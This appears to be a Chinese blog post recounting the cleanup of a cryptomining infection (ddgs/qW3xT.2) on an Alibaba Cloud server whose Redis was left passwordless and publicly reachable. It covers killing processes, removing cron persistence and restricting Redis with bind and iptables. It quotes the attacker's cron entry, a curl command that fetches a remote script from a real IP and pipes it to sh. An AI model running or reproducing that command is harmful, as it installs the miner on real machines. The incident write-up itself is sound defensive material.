阿里云ECS 被恶意挖矿程序使用ddgs.3013
前言
笔者在阿里云购置了一套ECS，Linux属于入门级别，在安装了Redis的因为配置文件不当，导致被恶意挖矿程序钻了空子，成功的让我的服务器也当了回肉鸡。为了避免还有朋友 出现类似问题，在此记录本次与这个小木马斗智斗勇的过程
1.问题描述
阿里云盾告警信息，手机接收到告警信息时候一脸懵逼，我一个小小的服务器也能被攻击，只能说网络安全很重要，问题描述如下，回想了一下，redis安装后配置文件，只改了一处，就是让redis后台运行，其他配置文件都没有改动（正是因为没有改动，所以才导致以下一系列的问题）
13220279-f622ff467f470790.png
2.远程SSH连上主机定位问题
SSH连上阿里云主机，第一反应是卡顿，顿感大事不妙。表面看似毫无波澜，内心其实慌得一批。无奈Linux小白一个，只能边靠着度娘，边发挥自己的想象力，看看哪里出了问题
（1）top指令，查看系统进程，占用情况
08714dc39ec88d97784aed4327d88db.png
发现异常进程，就是qW3xT.2这个进程搞得服务器cpu占用率高达百分之百，主机自然卡的不行啊。心中那个 气啊，简单粗暴先给它一个kill
kill -9 qW3xT.2(pid)
本以为搞定了，结果再次top查看进程，异常进程竟然死灰复燃了，真的是够顽固。看来还是没找到问题根源，治标不治本
（2）消灭定时任务，让主机不再重启进程
网上查阅了一翻资料后，发现原来是攻击者通过Redis无密码登录，并且我的redis.conf配置任意IP访问，这才使得攻击者有机可乘
# bind 192.168.1.100 10.0.0.1
# bind 127.0.0.1
目前全球很多主机仍然保持Redis的端口暴露在公网上，也就会引起同类型问题
攻击者首先通过侵入Redis,控制主机，利用主机下载一段脚本
curl -fsSL http://149.56.106.215:8000/i.sh | sh
该脚本正是通过定时任务在目标主机上种下恶意挖矿程序，占用cpu资源。并且当你kill掉异常进程时，还会引发定时任务监听，重启该进程，真是防不胜防。知晓其原理后，解决起来也是顺畅了许多。
[root@vayneluo redis-2.8.17]# crontab -l
curl -fsSL http://149.56.106.215:8000/i.sh | sh
[root@vayneluo redis-2.8.17]#
查看系统内确实有这个定时任务，一般是美国的IP，检查/var/spool/cron/root和/var/spool/cron/root 和 /var/spool/cron/crontabs/root ，删除crontab内容，消灭定时任务,
删除目标进程,同时为避免问题仍在，建议做以下处理
cd /tmp/
rm qW3xT.2
rm -rf ddgs.3011
touch qW3xT.2
touch ddgs.3011
chattr +i qW3xT.2
chattr +i ddgs*
3.问题解决
至此，问题得以解决。另外针对Redis的配置，也换成了除本机访问，并且指定固定IP访问Redis,如果有的同学觉得还是不够安全。还可以设置redis.conf 里requirepass字段设置密码，为你的Redis加强防御.有兴趣的同学可以尝试设置linux防火墙，配置固定IP访问
root@vayneluo redis-2.8.17]# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- localhost anywhere tcp dpt:6379
ACCEPT tcp -- 固定IP anywhere tcp dpt:6379
REJECT tcp -- anywhere anywhere tcp dpt:6379 reject-with icmp- port-unreachable
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
[root@vayneluo redis-2.8.17]#
